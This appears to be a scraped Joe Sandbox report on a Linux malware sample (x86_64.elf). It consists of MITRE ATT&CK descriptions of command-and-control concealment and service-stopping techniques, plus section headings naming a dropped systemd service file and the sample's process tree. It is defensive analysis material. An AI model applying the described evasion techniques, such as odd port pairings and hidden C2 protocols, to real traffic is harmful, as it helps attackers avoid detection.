Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report x86_64.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/systemd/system/startup_command.service

/memfd:snapd-env-generator (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: x86_64.elf PID: 6223, Parent PID: 6146

General

Chronological Activities

Analysis Process: x86_64.elf PID: 6246, Parent PID: 6223

General

Chronological Activities

Analysis Process: x86_64.elf PID: 6247, Parent PID: 6246

General

Chronological Activities

Analysis Process: pkill PID: 6247, Parent PID: 6246

General

Chronological Activities

Analysis Process: x86_64.elf PID: 6248, Parent PID: 6246

General

Chronological Activities

Linux Analysis Report
x86_64.elf